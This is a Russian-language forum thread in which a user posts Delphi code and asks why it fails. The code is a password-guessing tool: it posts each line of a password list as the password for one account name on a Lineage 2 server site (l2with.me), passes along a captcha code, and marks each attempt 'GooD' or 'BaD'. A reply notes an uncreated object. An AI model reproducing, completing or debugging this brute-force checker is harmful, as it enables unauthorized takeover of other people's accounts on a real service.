[Помогите!] код

[kpacab4uk7]

не получается авторизация с капчой... пишет бед, хотя логин правильный, где ошибка?

Цитата: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, ExtCtrls, jpeg; type TForm1 = class(TForm) Button1: TButton; mmo1: TMemo; idhtp1: TIdHTTP; mmo2: TMemo; edt1: TEdit; edt2: TEdit; img1: TImage; edt3: TEdit; Button2: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var jpg:TMemoryStream; i:Integer; Data:TStringList; Request:String; p:TStringList; HTTP:TIdHTTP; begin Data:=TStringList.Create; p:=TStringList.Create; for i:=0 to mmo1.Lines.Count-1 do begin // HTTP.Request.UserAgent := 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'; Data.Add('doLogin=1'); Data.Add('1=1'); Data.Add('sw_name='+edt1.Text); Data.Add('l2sec_code='+edt3.Text); Data.Add('sw_pass='+mmo1.Lines.Strings[i]); p.Text:=idhtp1.Post('http://l2with.me/index.php?f=about', Data); if Pos('doExit=yes', p.Text)>0 then begin mmo2.Lines.Add(mmo1.Lines.Strings[i]+'GooD'); end else begin mmo2.Lines.Add(mmo1.Lines.Strings[i]+'BaD'); end; end; end; procedure TForm1.Button2Click(Sender: TObject); var jpg:TMemoryStream; HTTP:TIdHTTP; begin HTTP:=TIdHTTP.Create(nil); jpg:=TMemoryStream.Create; img1.Picture.Graphic:=TJPEGImage.Create; jpg.Position:=0; HTTP.Get('http://l2with.me/module/antibot.php', jpg); jpg.Position:=0; Img1.Picture.Graphic.LoadFromStream(jpg); end; end.

[J-Fobos]

Описанный объект (который используется) mmo1 не создан. Дальше не смотрел.
Вообще-то заведено выкладывать текст ошибки и хотя бы минимально комментировать код.